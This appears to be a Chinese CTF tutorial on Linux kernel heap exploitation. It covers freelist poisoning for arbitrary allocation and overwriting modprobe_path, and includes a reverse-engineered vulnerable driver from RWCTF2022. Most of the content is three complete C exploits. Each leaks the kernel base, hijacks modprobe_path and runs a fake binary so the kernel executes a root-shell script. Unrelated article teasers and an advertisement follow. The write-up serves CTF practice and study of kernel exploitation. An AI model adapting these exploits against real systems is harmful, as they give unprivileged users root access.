Linux kernel 堆溢出利用方法(三)
前言
本文我们通过我们的老朋友heap_bof来讲解Linux kernel中任意地址申请的其中一种比赛比较常用的利用手法modprobe_path(虽然在高版本内核已经不可用了但ctf比赛还是比较常用的)。在通过两道道近期比赛的赛题来讲解。
Arbitrary Address Allocation
利用思路
通过 uaf 修改 object 的 free list 指针实现任意地址分配。与 glibc 不同的是,内核的 slub 堆管理器缺少检查,因此对要分配的目标地址要求不高,不过有一点需要注意:当我们分配到目标地址时会把目标地址前 8 字节的数据会被写入 freelist,而这通常并非一个有效的地址,从而导致 kernel panic,因此在任意地址分配时最好确保目标 object 的 free list 字段为 NULL 。
当能够任意地址分配的时候,与 glibc 改 hook 类似,在内核中通常修改的是 modprobe_path 。modprobe_path 是内核中的一个变量,其值为 /sbin/modprobe ,因此对于缺少符号的内核文件可以通过搜索 /sbin/modprobe 字符串的方式定位这个变量。
当我们尝试去执行(execve)一个非法的文件(file magic not found),内核会经历如下调用链:
entry_SYSCALL_64()sys_execve()do_execve()do_execveat_common()bprm_execve()exec_binprm()search_binary_handler()__request_module() // wrapped as request_modulecall_modprobe()
其中 call_modprobe() 定义于 kernel/kmod.c,我们主要关注这部分代码:
static int call_modprobe(char *module_name, int wait)
{//...argv[0] = modprobe_path;argv[1] = "-q";argv[2] = "--";argv[3] = module_name; /* check free_modprobe_argv() */argv[4] = NULL;info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,NULL, free_modprobe_argv, NULL);if (!info)goto free_module_name;return call_usermodehelper_exec(info, wait | UMH_KILLABLE);//...
在这里调用了函数 call_usermodehelper_exec() 将 modprobe_path 作为可执行文件路径以 root 权限将其执行。
我们不难想到的是:若是我们能够劫持 modprobe_path,将其改写为我们指定的恶意脚本的路径,随后我们再执行一个非法文件,内核将会以 root 权限执行我们的恶意脚本。
或者分析vmlinux即可(对于一些没有call_modprobe()符号的直接交叉引用即可)。
__int64 _request_module(char a1,__int64 a2,double a3,double a4,double a5,double a6,double a7,double a8,double a9,double a10,...)
{
......if ( v19 ){
......v21 = call_usermodehelper_setup((__int64)&byte_FFFFFFFF82444700, // modprobe_path(__int64)v18,(__int64)&off_FFFFFFFF82444620,3264,0LL,(__int64)free_modprobe_argv,0LL);
......
}
.data:FFFFFFFF82444700 byte_FFFFFFFF82444700 ; DATA XREF: __request_module:loc_FFFFFFFF8108C6D8↑r
.data:FFFFFFFF82444700 db 2Fh ; / ; __request_module+14B↑o ...
.data:FFFFFFFF82444701 db 73h ; s
.data:FFFFFFFF82444702 db 62h ; b
.data:FFFFFFFF82444703 db 69h ; i
.data:FFFFFFFF82444704 db 6Eh ; n
.data:FFFFFFFF82444705 db 2Fh ; /
.data:FFFFFFFF82444706 db 6Dh ; m
.data:FFFFFFFF82444707 db 6Fh ; o
.data:FFFFFFFF82444708 db 64h ; d
.data:FFFFFFFF82444709 db 70h ; p
.data:FFFFFFFF8244470A db 72h ; r
.data:FFFFFFFF8244470B db 6Fh ; o
.data:FFFFFFFF8244470C db 62h ; b
.data:FFFFFFFF8244470D db 65h ; e
.data:FFFFFFFF8244470E db 0
exp
#include "src/pwn_helper.h"#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_WRITE 8
#define BOF_READ 9size_t modprobe_path = 0xFFFFFFFF81E48140;
size_t seq_ops_start = 0xffffffff81228d90;struct param {size_t len;size_t *buf;long long idx;
};void alloc_buf(int fd, struct param* p)
{printf("[+] kmalloc len:%lu idx:%lld\n", p->len, p->idx);ioctl(fd, BOF_MALLOC, p);
}void free_buf(int fd, struct param* p)
{printf("[+] kfree len:%lu idx:%lld\n", p->len, p->idx);ioctl(fd, BOF_FREE, p);
}void read_buf(int fd, struct param* p)
{printf("[+] copy_to_user len:%lu idx:%lld\n", p->len, p->idx);ioctl(fd, BOF_READ, p);
}void write_buf(int fd, struct param* p)
{printf("[+] copy_from_user len:%lu idx:%lld\n", p->len, p->idx);ioctl(fd, BOF_WRITE, p);
}int main()
{// len buf idxsize_t* buf = malloc(0x500);struct param p = {0x20, buf, 0};printf("[+] user_buf : %p\n", p.buf);int bof_fd = open("/dev/bof", O_RDWR);if (bof_fd < 0) {puts(RED "[-] Failed to open bof." NONE);exit(-1);}printf(YELLOW "[*] try to leak kbase\n" NONE);alloc_buf(bof_fd, &p);free_buf(bof_fd, &p);int seq_fd = open("/proc/self/stat", O_RDONLY);read_buf(bof_fd, &p);qword_dump("leak seq_ops", buf, 0x20);size_t kernel_offset = buf[0] - seq_ops_start;printf(YELLOW "[*] kernel_offset %p\n" NONE, (void*)kernel_offset);modprobe_path += kernel_offset;printf(LIGHT_BLUE "[*] modprobe_path addr : %p\n" NONE, (void*)modprobe_path);p.len = 0xa8;alloc_buf(bof_fd, &p);free_buf(bof_fd, &p);read_buf(bof_fd, &p);buf[0] = modprobe_path - 0x20;write_buf(bof_fd, &p);alloc_buf(bof_fd, &p);alloc_buf(bof_fd, &p);read_buf(bof_fd, &p);qword_dump("leak modprobe_path", buf, 0x30);strcpy((char *) &buf[4], "/tmp/shell.sh\x00");write_buf(bof_fd, &p);read_buf(bof_fd, &p);qword_dump("leak modprobe_path", buf, 0x30);if (open("/shell.sh", O_RDWR) < 0) {system("echo '#!/bin/sh' >> /tmp/shell.sh");system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /tmp/shell.sh");system("chmod +x /tmp/shell.sh");}system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");system("chmod +x /tmp/fake");system("/tmp/fake");return 0;
}

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
RWCTF2022 Digging into kernel 1 & 2
题目分析
start.sh
#!/bin/shqemu-system-x86_64 \-kernel bzImage \-initrd rootfs.img \-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet noapic kalsr" \-cpu kvm64,+smep,+smap \-monitor null \--nographic \-s
逆向分析
int __cdecl xkmod_init()
{kmem_cache *v0; // raxprintk(&unk_1E4);misc_register(&xkmod_device);v0 = (kmem_cache *)kmem_cache_create("lalala", 192LL, 0LL, 0LL, 0LL);buf = 0LL;s = v0;return 0;
}
int __fastcall xkmod_release(inode *inode, file *file)
{return kmem_cache_free(s, buf); // maybe double free
}
void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3)
{__int64 data; // [rsp+0h] [rbp-20h] BYREFunsigned int idx; // [rsp+8h] [rbp-18h]unsigned int size; // [rsp+Ch] [rbp-14h]unsigned __int64 v6; // [rsp+10h] [rbp-10h]// v3 __ : 0x8 rsp + 0x0// v4 __ : 0x4 rsp + 0x8// v5 __ : 0x4 rsp + 0xcv6 = __readgsqword(0x28u);if ( a3 ){copy_from_user(&data, a3, 0x10LL);if ( a2 == 0x6666666 ){if ( buf && size <= 0x50 && idx <= 0x70 ){copy_from_user((char *)buf + (int)idx, data, (int)size);return;}}else{if ( a2 != 0x7777777 ){if ( a2 == 0x1111111 )buf = (void *)kmem_cache_alloc(s, 0xCC0LL);return;}if ( buf && size <= 0x50 && idx <= 0x70 ){((void (__fastcall *)(__int64, char *, int))copy_to_user)(data, (char *)buf + (int)idx, size);return;}}xkmod_ioctl_cold();}
}
利用思路
关于内核基址获取,在内核堆基址(page_offset_base) + 0x9d000 处存放着 secondary_startup_64 函数的地址,而我们可以从 free object 的 next 指针获得一个堆上地址,从而去找堆的基址,之后分配到一个堆基址 + 0x9d000 处的 object 以泄露内核基址,这个地址前面刚好有一片为 NULL 的区域方便我们分配。
#define __PAGE_OFFSET page_offset_base
#define PAGE_OFFSET ((unsigned long)__PAGE_OFFSET)
#define __va(x) ((void *)((unsigned long)(x)+PAGE_OFFSET))/* Must be perfomed *after* relocation. */trampoline_header = (struct trampoline_header *)__va(real_mode_header->trampoline_header);...trampoline_header->start = (u64) secondary_startup_64;
[......]
// vmlinux 查找 secondary_startup_64 基址
.text:FFFFFFFF81000030 ; void secondary_startup_64()
[......]
pwndbg>x/40gx (0xffff9f5d40000000+0x9d000-0x20
0xffff9f5d4009cfe0: 0X0000000000000000 0X0000000000000000
0xffff9f5d4009cff0: 0X0000000000000000 0X0000000005c0c067
0xffff9f5d4009d000: 0xffffffff97c00030 0X0000000000000901
0xffff9f5d4009d010: 0X00000000000006b0 0X0000000000000000
0xffff9f5d4009d020: 0X0000000000000000 0X0000000000000000
至于 page_offset_base 可以通过 object 上的 free list 泄露的堆地址与上 0xFFFFFFFFF0000000 获取。不同版本可查看vmmap。
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>size_t modprobe_path = 0xFFFFFFFF82444700;void qword_dump(char *desc, void *addr, int len)
{uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("[*] %s:\n", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}struct Data {size_t *buf;u_int32_t offset;u_int32_t size;
};void alloc_buf(int fd, struct Data *data)
{ioctl(fd, 0x1111111, data);
}void write_buf(int fd, struct Data *data)
{ioctl(fd, 0x6666666, data);
}void read_buf(int fd, struct Data *data)
{ioctl(fd, 0x7777777, data);
}int main()
{int xkmod_fd[5];for (int i = 0; i < 5; i++) {xkmod_fd[i] = open("/dev/xkmod", O_RDONLY);if (xkmod_fd[i] < 0) {printf("[-] %d Failed to open xkmod.", i);exit(-1);}}struct Data data = {malloc(0x1000), 0, 0x50};alloc_buf(xkmod_fd[0], &data);close(xkmod_fd[0]);read_buf(xkmod_fd[1], &data);qword_dump("buf", data.buf, 0x50);size_t page_offset_base = data.buf[0] & 0xFFFFFFFFF0000000;printf("[+] page_offset_base: %p\n", page_offset_base);data.buf[0] = page_offset_base + 0x9d000 - 0x10;write_buf(xkmod_fd[1], &data);alloc_buf(xkmod_fd[1], &data);alloc_buf(xkmod_fd[1], &data);data.size = 0x50;read_buf(xkmod_fd[1], &data);qword_dump("buf", data.buf, 0x50);size_t kernel_offset = data.buf[2] - 0xffffffff81000030;printf("kernel offset: %p\n", kernel_offset);modprobe_path += kernel_offset;close(xkmod_fd[1]);data.buf[0] = modprobe_path - 0x10;write_buf(xkmod_fd[2], &data);alloc_buf(xkmod_fd[2], &data);alloc_buf(xkmod_fd[2], &data);strcpy((char *) &data.buf[2], "/home/shell.sh");write_buf(xkmod_fd[2], &data);if (open("/home/shell.sh", O_RDWR) < 0) {system("echo '#!/bin/sh' >> /home/shell.sh");system("echo 'setsid cttyhack setuidgid 0 sh' >> /home/shell.sh");system("chmod +x /home/shell.sh");}system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");system("chmod +x /home/fake");system("/home/fake");return 0;
}
WDB2024 PWN03
利用思路
基本上和RWCTF2022 Digging into kernel 1 & 2是一样的,这道题大家拿去练手即可,建议大家自行分析题目,我只把我的exp贴在下面,但是建议大家自己写一个exp。
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>size_t modprobe_path = 0xFFFFFFFF81E58B80;void qword_dump(char *desc, void *addr, int len)
{uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("[*] %s:\n", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}void alloc_buf(int fd, int size)
{printf("[+] kmalloc %d\n", size);ioctl(fd, 0x0, size);
}void free_buf(int fd)
{printf("[+] kfree\n");ioctl(fd, 0x1, 0);
}void read_buf(int fd, size_t* buf, int size)
{printf("[+] copy_to_user %d\n", size);read(fd, buf, size);qword_dump("read_buf", buf, size);
}void write_buf(int fd, size_t* buf, int size)
{printf("[+] copy_from_user %d\n", size);qword_dump("write_buf", buf, size);write(fd, buf, size);
}int main()
{size_t* buf = malloc(0x500);int easy_fd;easy_fd = open("/dev/easy", O_RDWR);alloc_buf(easy_fd, 0xa8);free_buf(easy_fd);read_buf(easy_fd, buf, 0xa8);size_t page_offset_base = buf[0] & 0xFFFFFFFFF0000000;printf("[*] page_offset_base %p\n", page_offset_base);buf[0] = page_offset_base + 0x9d000 - 0x10;write_buf(easy_fd, buf, 0x8);alloc_buf(easy_fd, 0xa8);alloc_buf(easy_fd, 0xa8);read_buf(easy_fd, buf, 0xa8);size_t kernel_offset = buf[2] - 0xFFFFFFFF81000110;printf("[*] kernel offset: %p\n", kernel_offset);modprobe_path += kernel_offset;buf[0] = modprobe_path - 0x20;alloc_buf(easy_fd, 0xa8);free_buf(easy_fd);write_buf(easy_fd, buf, 0x8);alloc_buf(easy_fd, 0xa8);alloc_buf(easy_fd, 0xa8);read_buf(easy_fd, buf, 0x20);strcpy((char *) &buf[4], "/shell.sh\x00");write_buf(easy_fd, buf, 0x30);if (open("/shell.sh", O_RDWR) < 0) {system("echo '#!/bin/sh' >> /shell.sh");system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /shell.sh");system("chmod +x /shell.sh");}system("echo -e '\\xff\\xff\\xff\\xff' > /fake");system("chmod +x /fake");system("/fake");return 0;
}
相关文章:
Linux kernel 堆溢出利用方法(三)
前言 本文我们通过我们的老朋友heap_bof来讲解Linux kernel中任意地址申请的其中一种比赛比较常用的利用手法modprobe_path(虽然在高版本内核已经不可用了但ctf比赛还是比较常用的)。在通过两道道近期比赛的赛题来讲解。 Arbitrary Address Allocation…...
对于GC方面,在使用Elasticsearch时要注意什么?
大家好,我是锋哥。今天分享关于【对于GC方面,在使用Elasticsearch时要注意什么?】面试题。希望对大家有帮助; 对于GC方面,在使用Elasticsearch时要注意什么? 1000道 互联网大厂Java工程师 精选面试题-Java…...
Xilinx PCIe高速接口入门实战(一)
引言:本文对Xilinx 7 Series Intergrated Block for PCI Express PCIe硬核IP进行简要介绍,主要包括7系列FPGA PCIe硬核资源支持、三IP硬核差异、PCIe硬核资源利用等相关内容。 1. 概述 1.1 7系列FPGA PCIe硬件资源支持 7系列FPGA对PCIe接口最大支持如…...
Flume 监控配置和实践
要解释 Flume 的监控机制,需要了解 Flume 是如何设计其监控架构的,以及如何将性能指标暴露给用户或集成工具。下面我将详细分解 Flume 的监控机制,从基础架构、实现原理到源码解析,并提供非专业人也能理解的通俗解释。 Flume 的监…...
深度学习基础1
目录 1. 深度学习的定义 2.神经网络 2.1. 感知神经网络 2.2 人工神经元 2.2.1 构建人工神经元 2.2.2 组成部分 2.2.3 数学表示 2.2.4 对比生物神经元 2.3 深入神经网络 2.3.1 基本结构 2.3.2 网络构建 2.3.3 全连接神经网络 3.神经网络的参数初始化 3.1 固定值初…...
《FPGA开发工具》专栏目录
《FPGA开发工具》专栏目录 1.Vivado开发 1.1使用相关 Vivado工程创建、仿真、下载与固化全流程 Vivado工程快速查看软件版本与器件型号 Vivado IP核的快速入门 官方手册和例程 Vivado中对已调用IP核的重命名 Vivado中增加源文件界面中各选项的解释 Vivado IP中Generate…...
李春葆《数据结构》-查找-课后习题代码题
一:设计一个折半查找算法,求查找到关键字为 k 的记录所需关键字的比较次数。假设 k 与 R[i].key 的比较得到 3 种情况,即 kR[i].key,k<R[i].key 或者 k>R[i].key,计为 1 次比较(在教材中讨论关键字比…...
【Git】:分支管理
目录 理解分支 创建分支 切换分支 合并分支 删除分支 合并冲突 分支管理策略 快进合并 正常合并 bug 分支 总结 理解分支 在版本控制系统中,分支是一条独立的开发线路。它允许开发者从一个主要的代码基线(例如master分支)分离出来…...
C、C++ 和 Java的区别
C、C 和 Java 是三种广泛使用的编程语言,它们各有特点,适合不同的应用场景。以下从多个角度对它们的区别进行分析: 基础特性 特性CCJava语言类型过程式编程语言过程式 面向对象编程语言纯面向对象编程语言(也支持过程式&#x…...
【Python-Open3D学习笔记】005Mesh相关方法
TriangleMesh相关方法 文章目录 TriangleMesh相关方法1. 查看mesh三角形面信息2. 可视化三角形3. 上采样4. 计算mesh形成的面积和体积 1. 查看mesh三角形面信息 def view_hull_triangles(hull: o3d.geometry.TriangleMesh):"""查看mesh三角形面信息(…...
js原型、原型链和继承
文章目录 一、原型1、prototype2、constructor 二、原型链1、字面量原型链2、字面量继承3、构造函数的原型链4、Object.create5、Object.setPrototypeOf 三、继承1、构造函数继承2、原型链继承3、组合继承 四、常见链条1、Function2、Object.prototype 继承是指将特性从父代传递…...
团队自创【国王的魔镜-2】
国王的魔镜-2 题目描述 国王有一个魔镜,可以把任何接触镜面的东西变成原来的两倍——只是,因为是镜子嘛,增加的那部分是反的。比如一条项链,我们用AB来表示,不同的字母表示不同颜色的珍珠。如果把B端接触镜面的话&am…...
c++编程玩转物联网:使用芯片控制8个LED实现流水灯技术分享
在嵌入式系统中,有限的GPIO引脚往往限制了硬件扩展能力。74HC595N芯片是一种常用的移位寄存器,通过串行输入和并行输出扩展GPIO数量。本项目利用树莓派Pico开发板与74HC595N芯片,驱动8个LED实现流水灯效果。本文详细解析项目硬件连接、代码实…...
【Jenkins】docker 部署 Jenkins 踩坑笔记
文章目录 1. docker pull 超时2. 初始化找不到 initialAdminPassword 1. docker pull 超时 docker pull 命令拉不下来 docker pull jenkins/jenkins:lts-jdk17 Error response from daemon: Get "https://registry-1.docker.io/v2/": 编辑docker配置 sudo mkdir -…...
Unreal Engine使用Groom 打包后报错
Unreal Engine使用Groom打包后报错 版本5.4.4 blender 4.2.1 项目头发用了groom,运行后报错 错误: Assertion failed: Offset BytesToRead < UncompressedFileSize && Offset > 0 [File:E:\UnrealEngine-5.4.4-release\Engine\Source\R…...
嵌入式QT学习第3天:UI设计器的简单使用
Linux版本号4.1.15 芯片I.MX6ULL 大叔学Linux 品人间百味 思文短情长 Qt Creator 里自带的 Qt Designer,使用 Qt Designer 比较方便的构造 UI 界 面。 在 UI 文件添加一个按钮 左边找到 Push Button,然后拖拽到中…...
【连接池】.NET开源 ORM 框架 SqlSugar 系列
.NET开源 ORM 框架 SqlSugar 系列 【开篇】.NET开源 ORM 框架 SqlSugar 系列【入门必看】.NET开源 ORM 框架 SqlSugar 系列【实体配置】.NET开源 ORM 框架 SqlSugar 系列【Db First】.NET开源 ORM 框架 SqlSugar 系列【Code First】.NET开源 ORM 框架 SqlSugar 系列【数据事务…...
图论入门编程
卡码网刷题链接:98. 所有可达路径 一、题目简述 二、编程demo 方法①邻接矩阵 from collections import defaultdict #简历邻接矩阵 def build_graph(): n, m map(int,input().split()) graph [[0 for _ in range(n1)] for _ in range(n1)]for _ in range(m): …...
在Java中使用Apache POI导入导出Excel(三)
本文将继续介绍POI的使用,上接在Java中使用Apache POI导入导出Excel(二) 使用Apache POI组件操作Excel(三) 24、拆分和冻结窗格 您可以创建两种类型的窗格;冻结窗格和拆分窗格。 冻结窗格按列和行进行拆分。您创建…...
UR开始打中国牌,重磅发布国产化协作机器人UR7e 和 UR12e
近日,优傲(UR)机器人公司立足中国市场需求,重磅推出UR7e和UR12e 两款本地化协作机器人。它们延续优傲(UR)一以贯之的高品质与性能特质,着重优化负载自重比,且在价格层面具竞争力&…...
国防科技大学计算机基础课程笔记02信息编码
1.机内码和国标码 国标码就是我们非常熟悉的这个GB2312,但是因为都是16进制,因此这个了16进制的数据既可以翻译成为这个机器码,也可以翻译成为这个国标码,所以这个时候很容易会出现这个歧义的情况; 因此,我们的这个国…...
19c补丁后oracle属主变化,导致不能识别磁盘组
补丁后服务器重启,数据库再次无法启动 ORA01017: invalid username/password; logon denied Oracle 19c 在打上 19.23 或以上补丁版本后,存在与用户组权限相关的问题。具体表现为,Oracle 实例的运行用户(oracle)和集…...
【JavaEE】-- HTTP
1. HTTP是什么? HTTP(全称为"超文本传输协议")是一种应用非常广泛的应用层协议,HTTP是基于TCP协议的一种应用层协议。 应用层协议:是计算机网络协议栈中最高层的协议,它定义了运行在不同主机上…...
Java 8 Stream API 入门到实践详解
一、告别 for 循环! 传统痛点: Java 8 之前,集合操作离不开冗长的 for 循环和匿名类。例如,过滤列表中的偶数: List<Integer> list Arrays.asList(1, 2, 3, 4, 5); List<Integer> evens new ArrayList…...
Springcloud:Eureka 高可用集群搭建实战(服务注册与发现的底层原理与避坑指南)
引言:为什么 Eureka 依然是存量系统的核心? 尽管 Nacos 等新注册中心崛起,但金融、电力等保守行业仍有大量系统运行在 Eureka 上。理解其高可用设计与自我保护机制,是保障分布式系统稳定的必修课。本文将手把手带你搭建生产级 Eur…...
自然语言处理——循环神经网络
自然语言处理——循环神经网络 循环神经网络应用到基于机器学习的自然语言处理任务序列到类别同步的序列到序列模式异步的序列到序列模式 参数学习和长程依赖问题基于门控的循环神经网络门控循环单元(GRU)长短期记忆神经网络(LSTM)…...
动态 Web 开发技术入门篇
一、HTTP 协议核心 1.1 HTTP 基础 协议全称 :HyperText Transfer Protocol(超文本传输协议) 默认端口 :HTTP 使用 80 端口,HTTPS 使用 443 端口。 请求方法 : GET :用于获取资源,…...
Webpack性能优化:构建速度与体积优化策略
一、构建速度优化 1、升级Webpack和Node.js 优化效果:Webpack 4比Webpack 3构建时间降低60%-98%。原因: V8引擎优化(for of替代forEach、Map/Set替代Object)。默认使用更快的md4哈希算法。AST直接从Loa…...
前端高频面试题2:浏览器/计算机网络
本专栏相关链接 前端高频面试题1:HTML/CSS 前端高频面试题2:浏览器/计算机网络 前端高频面试题3:JavaScript 1.什么是强缓存、协商缓存? 强缓存: 当浏览器请求资源时,首先检查本地缓存是否命中。如果命…...
Java 与 MySQL 性能优化:MySQL 慢 SQL 诊断与分析方法详解
文章目录 一、开启慢查询日志,定位耗时SQL1.1 查看慢查询日志是否开启1.2 临时开启慢查询日志1.3 永久开启慢查询日志1.4 分析慢查询日志 二、使用EXPLAIN分析SQL执行计划2.1 EXPLAIN的基本使用2.2 EXPLAIN分析案例2.3 根据EXPLAIN结果优化SQL 三、使用SHOW PROFILE…...
